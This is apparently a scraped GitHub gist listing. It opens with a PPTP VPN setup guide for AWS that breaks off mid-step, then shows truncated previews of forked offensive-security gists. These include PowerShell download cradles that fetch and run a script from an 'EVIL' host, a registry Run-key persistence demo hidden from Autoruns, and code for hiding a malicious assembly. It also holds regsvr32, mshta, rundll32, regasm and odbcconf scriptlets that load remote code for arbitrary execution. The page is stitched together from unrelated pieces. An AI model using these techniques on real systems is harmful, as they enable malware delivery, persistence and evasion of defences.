Set up a VPN Server (PPTP) on AWS

Create a EC2 instance using Ubuntu 14.04.
In Secure Group Inbound Rules, add a SSH Rule(TCP, Port 22, 0.0.0.0/0) and a Custom TCP Rule(TCP, Port 1723, 0.0.0.0/0).
Optional: Associate a Elastic IP with the instance.
SSH into the instance.
sudo apt-get install pptpd.
sudo vim /etc/pptpd.conf. Uncomment localip 192.168.0.1 and remoteip 192.168.0.234-238,192.168.0.245.
sudo vim /etc/ppp/pptpd-options. Uncomment ms-dns and ms-wins. Change the IP to Google's DNS like this:

TechByTom / DownloadCradles.ps1

Created February 1, 2018 17:56 — forked from HarmJ0y/DownloadCradles.ps1

Download Cradles

	# normal download cradle
	IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

	# PowerShell 3.0+
	IEX (iwr 'http://EVIL/evil.ps1')

	# hidden IE com object
	$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

	# Msxml2.XMLHTTP COM object

TechByTom / test.reg

Created February 1, 2018 17:56 — forked from hasherezade/test.reg

Demo: persistence key not visible for sysinternals autoruns (in a default configuration - read more: https://twitter.com/hasherezade/status/849756054145699840)

	Windows Registry Editor Version 5.00

	[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
	@="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\""

TechByTom / transformFile.py

Created February 1, 2018 17:55 — forked from Arno0x/transformFile.py

Performs multiple useful transformation on files

	#!/usr/bin/python
	# -- coding: utf8 --
	#
	# Author: Arno0x0x, Twitter: @Arno0x0x
	#

	import argparse
	from Crypto.Cipher import AES
	import pyscrypt
	from base64 import b64encode

TechByTom / malicious.cs

Created February 1, 2018 17:55 — forked from Arno0x/malicious.cs

Hide malicious assembly in another one with RunTime code compiling

	/*
	Author: Arno0x0x, Twitter: @Arno0x0x

	DO NOT COMPILE THIS SOURCE FILE !

	Encode this source in base64:
	base64 -w0 malicious.cs > malicious.b64

	Then paste it in the code in "not_detected.cs" source file

TechByTom / regasm.cs

Created February 1, 2018 17:55 — forked from Arno0x/regasm.cs

A DLL that can be called from regasm.exe/regsvc.exe to execute arbitrary code

	/*
	============== Compile ============
	Create Your Strong Name Key -> key.snk

	$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
	$Content = [System.Convert]::FromBase64String($key)
	Set-Content key.snk -Value $Content -Encoding Byte

	C:\Windows\Microsoft.NET\Framewor

TechByTom / scriptlet.sct

Created February 1, 2018 17:55 — forked from Arno0x/scriptlet.sct

Scriplet that can be executed by mshta or rundll32 for arbitrary code execution

	<?XML version="1.0"?>
	<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
	<!-- mshta vbscript:Close(Execute("GetObject(""script:http://webserver/scriplet.sct"")")) -->
	<scriptlet>
	<public>
	</public>
	<script language="JScript">
	<![CDATA[

	var r = new ActiveXObject("WScript.Shell").Run("calc.exe");

TechByTom / regsvr32.sct

Created February 1, 2018 17:55 — forked from Arno0x/regsvr32.sct

A scriptlet that can be executed by regsvr32.exe for arbitrary code execution

	<?XML version="1.0"?>
	<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
	<!-- regsvr32 /u /n /s /i:\\webdavserver\folder\regsvr32.sct scrobj.dll -->
	<scriptlet>
	<registration
	progid="PoC"
	classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
	<script language="JScript">
	<![CDATA[

TechByTom / calc.hta

Created February 1, 2018 17:55 — forked from Arno0x/calc.hta

HTML Application example to be executed by mstha.exe

	<html>
	<head>
	<HTA:APPLICATION ID="HelloExample">
	<script language="jscript">
	var c = "cmd.exe /c calc.exe";
	new ActiveXObject('WScript.Shell').Run(c);
	</script>
	</head>
	<body>
	<script>self.close();</script>

TechByTom / odbcconf.cs

Created February 1, 2018 17:55 — forked from Arno0x/odbcconf.cs

Download and execute arbitrary code with odbcconf.exe

	/*
	To use with odbcconf.exe:

	odbcconf /S /A {REGSVR odbcconf.dll}

	or, from a remote location (if WebDAV support enabled):
	odbcconf /S /A {REGSVR \\webdavaserver\dir\odbcconf.dll}
	*/

	using System;